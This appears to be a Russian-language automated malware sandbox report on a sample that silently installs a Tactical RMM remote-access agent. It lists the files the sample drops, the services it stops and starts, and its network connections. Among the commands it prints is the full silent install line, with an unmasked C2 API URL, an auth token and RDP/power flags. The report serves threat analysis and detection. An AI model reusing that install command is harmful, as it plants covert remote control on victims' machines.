Техническая информация
Вредоносные функции
Запускает на исполнение
- '%WINDIR%\syswow64\net.exe' stop tacticalagent
- '%WINDIR%\syswow64\net.exe' stop checkrunner
- '%WINDIR%\syswow64\net.exe' stop tacticalrpc
- '%WINDIR%\syswow64\taskkill.exe' /F /IM tacticalrmm.exe
Изменения в файловой системе
Создает следующие файлы
- %WINDIR%\temp\winagent-v1.1.11.exe
- %TEMP%\is-kehl9.tmp\winagent-v1.1.11.tmp
- %TEMP%\setup log 2021-06-15 #001.txt
- %TEMP%\is-4dn93.tmp\_isetup\_setup64.tmp
- %ProgramFiles%\tacticalagent\is-50akn.tmp
- %ProgramFiles%\tacticalagent\is-lrgk3.tmp
- %ProgramFiles%\tacticalagent\is-e7gb5.tmp
- %ProgramFiles%\tacticalagent\is-sq01m.tmp
- %ALLUSERSPROFILE%\microsoft\windows\start menu\programs\tactical rmm agent.lnk
- %ProgramFiles%\tacticalagent\unins000.dat
Удаляет следующие файлы
- %TEMP%\is-4dn93.tmp\_isetup\_setup64.tmp
- %TEMP%\is-kehl9.tmp\winagent-v1.1.11.tmp
Перемещает следующие файлы
- %ProgramFiles%\tacticalagent\is-50akn.tmp в %ProgramFiles%\tacticalagent\unins000.exe
- %ProgramFiles%\tacticalagent\is-lrgk3.tmp в %ProgramFiles%\tacticalagent\tacticalrmm.exe
- %ProgramFiles%\tacticalagent\is-e7gb5.tmp в %ProgramFiles%\tacticalagent\nssm.exe
- %ProgramFiles%\tacticalagent\is-sq01m.tmp в %ProgramFiles%\tacticalagent\saltcustom
Сетевая активность
Подключается к
- 'gi##ub.com':443
- 'gi#########ases.githubusercontent.com':443
- 'ap#.##pcrepairs.xyz':4222
- 'ap#.##pcrepairs.xyz':443
TCP
Другие
- 'gi##ub.com':443
- 'gi#########ases.githubusercontent.com':443
- 'ap#.##pcrepairs.xyz':443
UDP
- DNS ASK gi##ub.com
- DNS ASK gi#########ases.githubusercontent.com
- DNS ASK ap#.##pcrepairs.xyz
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
Создает и запускает на исполнение
- '%WINDIR%\temp\winagent-v1.1.11.exe' /VERYSILENT /SUPPRESSMSGBOXES
- '%TEMP%\is-kehl9.tmp\winagent-v1.1.11.tmp' /SL5="$160218,4400191,824832,%WINDIR%\Temp\winagent-v1.1.11.exe" /VERYSILENT /SUPPRESSMSGBOXES
- '%ProgramFiles%\tacticalagent\tacticalrmm.exe' -m install --api https://api.ylpcrepairs.xyz --client-id 3 --site-id 3 --agent-type workstation --auth 89787bf6d44bb9b4ff1a1fc121513498449be25fc1787978cf60869eac69780f -rdp -power
- '%WINDIR%\syswow64\cmd.exe' /c net stop tacticalagent' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c net stop checkrunner' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c net stop tacticalrpc && ping 127.0.0.1 -n 2' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c taskkill /F /IM tacticalrmm.exe && ping 127.0.0.1 -n 2' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c net start tacticalagent && ping 127.0.0.1 -n 3' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c net start checkrunner' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c net start tacticalrpc' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c net stop tacticalagent
- '%WINDIR%\syswow64\net1.exe' stop tacticalagent
- '%WINDIR%\syswow64\cmd.exe' /c net stop checkrunner
- '%WINDIR%\syswow64\net1.exe' stop checkrunner
- '%WINDIR%\syswow64\cmd.exe' /c net stop tacticalrpc && ping 127.0.0.1 -n 2
- '%WINDIR%\syswow64\net1.exe' stop tacticalrpc
- '%WINDIR%\syswow64\cmd.exe' /c taskkill /F /IM tacticalrmm.exe && ping 127.0.0.1 -n 2
- '%WINDIR%\syswow64\cmd.exe' /c net start tacticalagent && ping 127.0.0.1 -n 3
- '%WINDIR%\syswow64\net.exe' start tacticalagent
- '%WINDIR%\syswow64\net1.exe' start tacticalagent
- '%WINDIR%\syswow64\cmd.exe' /c net start checkrunner
- '%WINDIR%\syswow64\net.exe' start checkrunner
- '%WINDIR%\syswow64\net1.exe' start checkrunner
- '%WINDIR%\syswow64\cmd.exe' /c net start tacticalrpc
- '%WINDIR%\syswow64\net.exe' start tacticalrpc
- '%WINDIR%\syswow64\net1.exe' start tacticalrpc
